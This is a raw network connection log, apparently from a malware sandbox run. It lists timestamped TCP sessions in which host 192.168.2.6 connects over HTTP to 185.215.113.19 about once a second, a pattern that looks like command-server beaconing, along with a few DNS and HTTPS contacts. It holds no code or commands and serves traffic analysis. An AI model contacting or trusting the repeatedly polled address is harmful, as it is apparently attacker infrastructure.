Jul 26, 2024 13:51:52.948438883 CEST	63424	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:52.948728085 CEST	63425	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:52.954715014 CEST	80	63425	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:52.954818010 CEST	63425	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:52.954977989 CEST	63425	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:52.956127882 CEST	80	63424	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:52.956201077 CEST	63424	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:52.960978031 CEST	80	63425	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:53.711389065 CEST	80	63425	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:53.711497068 CEST	63425	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:53.828839064 CEST	63425	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:53.829068899 CEST	63426	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:53.988975048 CEST	80	63426	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:53.989093065 CEST	63426	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:53.989278078 CEST	80	63425	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:53.989335060 CEST	63426	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:53.989371061 CEST	63425	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:53.994775057 CEST	80	63426	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:54.749780893 CEST	80	63426	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:54.749878883 CEST	63426	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:54.753264904 CEST	63427	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:54.753360987 CEST	63426	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:54.758119106 CEST	80	63427	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:54.758212090 CEST	63427	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:54.758335114 CEST	63427	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:54.758611917 CEST	80	63426	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:54.758708954 CEST	63426	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:54.763637066 CEST	80	63427	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:55.532284975 CEST	80	63427	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:55.532356977 CEST	63427	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:55.640650988 CEST	63427	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:55.640908957 CEST	63428	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:55.646290064 CEST	80	63428	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:55.646364927 CEST	80	63427	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:55.646388054 CEST	63428	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:55.646533966 CEST	63428	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:55.646564007 CEST	63427	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:55.651710033 CEST	80	63428	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:56.407376051 CEST	80	63428	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:56.407475948 CEST	63428	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:56.409879923 CEST	63428	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:56.410121918 CEST	63429	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:56.415153027 CEST	80	63429	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:56.415760994 CEST	80	63428	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:56.415864944 CEST	63429	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:56.416045904 CEST	63429	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:56.416501045 CEST	63428	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:56.421295881 CEST	80	63429	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:57.181099892 CEST	80	63429	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:57.181176901 CEST	63429	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:57.289129972 CEST	63429	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:57.289388895 CEST	63430	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:57.294540882 CEST	80	63429	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:57.294910908 CEST	80	63430	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:57.295079947 CEST	63429	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:57.295114040 CEST	63430	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:57.295412064 CEST	63430	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:57.300224066 CEST	80	63430	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:58.069689989 CEST	80	63430	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:58.069787025 CEST	63430	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:58.072845936 CEST	63430	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:58.076510906 CEST	63431	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:58.078607082 CEST	80	63430	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:58.078809977 CEST	63430	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:58.081573963 CEST	80	63431	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:58.082715034 CEST	63431	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:58.082715034 CEST	63431	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:58.092684031 CEST	80	63431	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:58.846486092 CEST	80	63431	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:58.846714973 CEST	63431	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:58.957604885 CEST	63431	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:58.958714962 CEST	63432	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:58.964442015 CEST	80	63432	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:58.964586973 CEST	63432	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:58.965298891 CEST	80	63431	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:58.968517065 CEST	63432	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:58.969295025 CEST	63431	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:58.973545074 CEST	80	63432	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:59.714124918 CEST	80	63432	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:59.714199066 CEST	63432	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:59.717004061 CEST	63432	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:59.717266083 CEST	63433	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:59.722343922 CEST	80	63433	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:59.722443104 CEST	63433	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:59.722677946 CEST	63433	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:59.722784996 CEST	80	63432	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:59.722927094 CEST	63432	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:59.727591038 CEST	80	63433	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:00.501889944 CEST	80	63433	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:00.504287958 CEST	63433	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:00.608611107 CEST	63433	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:00.608891964 CEST	63434	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:00.614181995 CEST	80	63434	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:00.614294052 CEST	63434	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:00.614595890 CEST	63434	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:00.614870071 CEST	80	63433	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:00.615046024 CEST	63433	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:00.619647980 CEST	80	63434	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:01.404586077 CEST	80	63434	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:01.404704094 CEST	63434	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:01.407396078 CEST	63434	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:01.407737970 CEST	63435	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:01.413645029 CEST	80	63435	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:01.413768053 CEST	63435	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:01.414071083 CEST	80	63434	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:01.414082050 CEST	63435	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:01.414133072 CEST	63434	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:01.421335936 CEST	80	63435	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:02.034709930 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:52:02.040400982 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:52:02.135292053 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:52:02.140844107 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:52:02.171752930 CEST	80	63435	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:02.172004938 CEST	63435	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:02.278987885 CEST	63435	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:02.279230118 CEST	63436	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:02.285514116 CEST	80	63436	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:02.285706997 CEST	63436	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:02.285742044 CEST	80	63435	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:02.285790920 CEST	63435	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:02.286053896 CEST	63436	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:02.290935993 CEST	80	63436	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:03.077039003 CEST	80	63436	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:03.077126980 CEST	63436	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:03.079741955 CEST	63436	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:03.079987049 CEST	63437	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:03.085136890 CEST	80	63437	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:03.085199118 CEST	63437	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:03.085449934 CEST	63437	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:03.089701891 CEST	80	63436	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:03.089782000 CEST	63436	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:03.090687037 CEST	80	63437	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:03.879944086 CEST	80	63437	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:03.880103111 CEST	63437	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:03.989629984 CEST	63437	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:03.989907980 CEST	63438	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:03.994946957 CEST	80	63438	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:03.995032072 CEST	63438	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:03.995331049 CEST	80	63437	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:03.995341063 CEST	63438	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:03.995383978 CEST	63437	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:04.001260996 CEST	80	63438	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:04.787445068 CEST	80	63438	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:04.787609100 CEST	63438	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:04.790344000 CEST	63438	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:04.790435076 CEST	63439	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:04.795855045 CEST	80	63438	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:04.796591043 CEST	63438	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:04.796900034 CEST	80	63439	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:04.797142029 CEST	63439	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:04.797293901 CEST	63439	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:04.804195881 CEST	80	63439	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:05.611627102 CEST	80	63439	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:05.612596035 CEST	63439	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:05.718801975 CEST	63439	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:05.719038963 CEST	63440	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:05.723880053 CEST	80	63440	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:05.723959923 CEST	63440	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:05.724147081 CEST	63440	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:05.726042032 CEST	80	63439	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:05.726135969 CEST	63439	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:05.729916096 CEST	80	63440	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:06.503531933 CEST	80	63440	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:06.503653049 CEST	63440	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:06.506750107 CEST	63440	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:06.507102013 CEST	63441	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:06.512063026 CEST	80	63441	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:06.512286901 CEST	63441	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:06.512444019 CEST	63441	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:06.513185024 CEST	80	63440	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:06.513243914 CEST	63440	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:06.517707109 CEST	80	63441	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:07.258697033 CEST	80	63441	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:07.258797884 CEST	63441	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:07.369335890 CEST	63441	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:07.369575977 CEST	63442	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:07.374844074 CEST	80	63441	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:07.374979973 CEST	63441	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:07.375437975 CEST	80	63442	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:07.375586033 CEST	63442	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:07.375801086 CEST	63442	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:07.383968115 CEST	80	63442	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:08.156400919 CEST	80	63442	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:08.156712055 CEST	63442	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:08.159195900 CEST	63442	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:08.159373999 CEST	63443	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:08.164566994 CEST	80	63443	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:08.164714098 CEST	63443	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:08.164936066 CEST	63443	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:08.165034056 CEST	80	63442	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:08.165105104 CEST	63442	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:08.170142889 CEST	80	63443	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:08.232615948 CEST	63443	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:08.336373091 CEST	63444	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:08.341283083 CEST	80	63444	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:08.341455936 CEST	63444	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:08.341715097 CEST	63444	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:08.346744061 CEST	80	63444	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:09.088407040 CEST	80	63444	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:09.088613033 CEST	63444	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:09.091819048 CEST	63444	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:09.092068911 CEST	63445	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:09.096908092 CEST	80	63445	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:09.096986055 CEST	63445	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:09.097212076 CEST	63445	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:09.097507000 CEST	80	63444	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:09.097929001 CEST	63444	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:09.102869034 CEST	80	63445	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:09.897654057 CEST	80	63445	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:09.897728920 CEST	63445	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:10.006001949 CEST	63445	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:10.006259918 CEST	63446	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:10.011425972 CEST	80	63445	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:10.011444092 CEST	80	63446	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:10.011496067 CEST	63445	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:10.011523008 CEST	63446	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:10.011758089 CEST	63446	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:10.016613960 CEST	80	63446	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:10.751934052 CEST	80	63446	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:10.752017975 CEST	63446	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:10.755212069 CEST	63446	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:10.755510092 CEST	63447	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:10.760843039 CEST	80	63447	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:10.761127949 CEST	80	63446	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:10.761138916 CEST	63447	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:10.761200905 CEST	63446	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:10.761379004 CEST	63447	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:10.766387939 CEST	80	63447	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:11.504555941 CEST	80	63447	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:11.504753113 CEST	63447	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:11.616825104 CEST	63447	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:11.617141008 CEST	63448	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:11.622397900 CEST	80	63448	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:11.622417927 CEST	80	63447	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:11.622503042 CEST	63447	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:11.622503042 CEST	63448	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:11.622808933 CEST	63448	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:11.627645969 CEST	80	63448	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:12.136893034 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:52:12.142144918 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:52:12.237432957 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:52:12.242633104 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:52:12.405555010 CEST	80	63448	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:12.408576012 CEST	63448	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:12.411120892 CEST	63448	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:12.411432028 CEST	63449	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:12.416771889 CEST	80	63448	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:12.416831017 CEST	80	63449	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:12.416836023 CEST	63448	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:12.416922092 CEST	63449	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:12.417200089 CEST	63449	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:12.422862053 CEST	80	63449	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:13.173971891 CEST	80	63449	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:13.174077034 CEST	63449	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:13.286907911 CEST	63449	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:13.287141085 CEST	63450	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:13.292402983 CEST	80	63449	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:13.292460918 CEST	63449	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:13.292645931 CEST	80	63450	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:13.292758942 CEST	63450	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:13.293023109 CEST	63450	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:13.299163103 CEST	80	63450	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:14.043065071 CEST	80	63450	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:14.043169975 CEST	63450	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:14.045882940 CEST	63450	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:14.046215057 CEST	63451	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:14.051073074 CEST	80	63451	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:14.051140070 CEST	80	63450	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:14.051181078 CEST	63451	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:14.051212072 CEST	63450	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:14.051382065 CEST	63451	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:14.056154966 CEST	80	63451	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:14.202732086 CEST	63380	53	192.168.2.6	1.1.1.1
Jul 26, 2024 13:52:14.207734108 CEST	53	63380	1.1.1.1	192.168.2.6
Jul 26, 2024 13:52:14.208404064 CEST	63380	53	192.168.2.6	1.1.1.1
Jul 26, 2024 13:52:14.214308977 CEST	53	63380	1.1.1.1	192.168.2.6
Jul 26, 2024 13:52:14.689789057 CEST	63380	53	192.168.2.6	1.1.1.1
Jul 26, 2024 13:52:14.697149038 CEST	53	63380	1.1.1.1	192.168.2.6
Jul 26, 2024 13:52:14.698792934 CEST	63380	53	192.168.2.6	1.1.1.1
Jul 26, 2024 13:52:14.870822906 CEST	80	63451	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:14.870939970 CEST	63451	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:14.977791071 CEST	63451	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:14.978046894 CEST	63387	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:14.983505964 CEST	80	63387	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:14.983726025 CEST	63387	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:14.984113932 CEST	80	63451	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:14.984175920 CEST	63387	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:14.984235048 CEST	63451	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:14.989476919 CEST	80	63387	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:15.799822092 CEST	80	63387	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:15.799918890 CEST	63387	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:15.803401947 CEST	63387	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:15.803757906 CEST	63389	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:15.808846951 CEST	80	63389	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:15.808980942 CEST	63389	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:15.809113026 CEST	63389	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:15.813960075 CEST	80	63389	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:15.826080084 CEST	80	63387	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:15.826170921 CEST	63387	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:16.574496984 CEST	80	63389	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:16.575072050 CEST	63389	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:16.692223072 CEST	63389	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:16.692531109 CEST	63391	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:16.697678089 CEST	80	63389	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:16.697774887 CEST	63389	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:16.698093891 CEST	80	63391	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:16.698182106 CEST	63391	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:16.698297977 CEST	63391	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:16.703156948 CEST	80	63391	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:17.457176924 CEST	80	63391	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:17.457284927 CEST	63391	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:17.459887981 CEST	63391	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:17.460153103 CEST	63406	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:17.465868950 CEST	80	63391	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:17.465897083 CEST	80	63406	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:17.465960026 CEST	63391	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:17.465984106 CEST	63406	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:17.466118097 CEST	63406	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:17.470921040 CEST	80	63406	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:18.030163050 CEST	80	63358	185.215.113.16	192.168.2.6
Jul 26, 2024 13:52:18.030229092 CEST	63358	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:52:18.228606939 CEST	80	63406	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:18.228691101 CEST	63406	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:18.342582941 CEST	63406	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:18.342890978 CEST	63452	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:18.351444960 CEST	80	63452	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:18.351567030 CEST	63452	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:18.351788044 CEST	63452	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:18.355482101 CEST	80	63406	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:18.355560064 CEST	63406	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:52:18.356581926 CEST	80	63452	185.215.113.19	192.168.2.6
Jul 26, 2024 13:52:18.621128082 CEST	63453	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:52:18.621155977 CEST	443	63453	34.120.208.123	192.168.2.6
